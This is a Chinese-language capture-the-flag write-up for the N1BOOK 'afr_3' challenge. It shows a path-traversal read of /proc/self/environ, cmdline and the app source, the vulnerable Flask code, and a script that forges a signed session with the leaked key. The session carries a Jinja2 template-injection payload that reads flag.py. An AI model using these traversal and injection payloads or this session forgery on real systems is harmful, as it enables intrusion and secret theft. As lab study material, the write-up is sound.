做了一些文件读取的题,这道题看着还不错,就拿来当例题了
[N1BOOK]afr_3
一进去发现是一个查询框
随便输个名字,跳转到该页面,点击article跳转到一个演示article界面
注意到演示article的地址栏,尝试改变name的值,发现name就是文件名,但是只要含有“flag”就会显示no permission
构造name=../../../../../../../proc/self/environ,看一眼环境变量,找到一个flag,结果发现是假的(恼)
构造name=../../../../../../../proc/self/cmdline
得到进程名server.py(为什么是server.py而不是pythonserver.py?因为cmdline存的是启动当前进程的完整命令,python后其实还有不可见的字符隔开)
构造name=../../../../../../../proc/self/cwd/server.py,得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import os from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) from flask_session import Session
app = Flask(__name__) execfile('flag.py') execfile('key.py')
FLAG = flag app.secret_key = key @app.route("/n1page", methods=["GET", "POST"]) def n1page(): if request.method != "POST": return redirect(url_for("index")) n1code = request.form.get("n1code") or None if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","") if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code template = None if session['n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code'] session['n1code'] = None return render_template_string(template)
@app.route("/", methods=["GET"]) def index(): return render_template("main.html") @app.route('/article', methods=['GET']) def article(): error = 0 if 'name' in request.args: page = request.args.get('name') else: page = 'article' if page.find('flag')>=0: page = 'notallowed.txt' try: template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e: template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)
|
可以看到n1page页面的存在模板注入,得到key之后就可以伪造session
(这里稍微学习了一下模板注入,下篇报告就水这个了)
name=../../../../../../../proc/self/cwd/key.py,先把key整出来
本地起fake web,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import os from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
app = Flask(__name__)
app.secret_key='Drmhze6EPcv0fN_81Bj-nA'
@app.route("/fake",methods=["GET","POST"]) def fake(): session['n1code'] = '{{\'\'.__class__.__mro__[2].__subclasses__()[40](\'/proc/self/cwd/flag.py\').read()}}' template = "payload :%s" % session['n1code'] return template
if __name__ == '__main__': app.run('127.0.0.1', port=80, debug=False)
|
然后把本地出的session贴到题目那个网页里去
总结和感想
和HFCTF2021的easyflask有很多相似点,都是通过任意文件读取读到环境变量获取key,然后伪造session
不过那一题是反序列化,这一题是模板注入
本来想用别人的wp里那个什么flask_session_cookie_manager来伪造的,想了想为了加深理解还是自己写脚本了
模板注入的payload也和wp用的不一样,不过结果来看是成功的
果然想打web得用好py啊(感叹)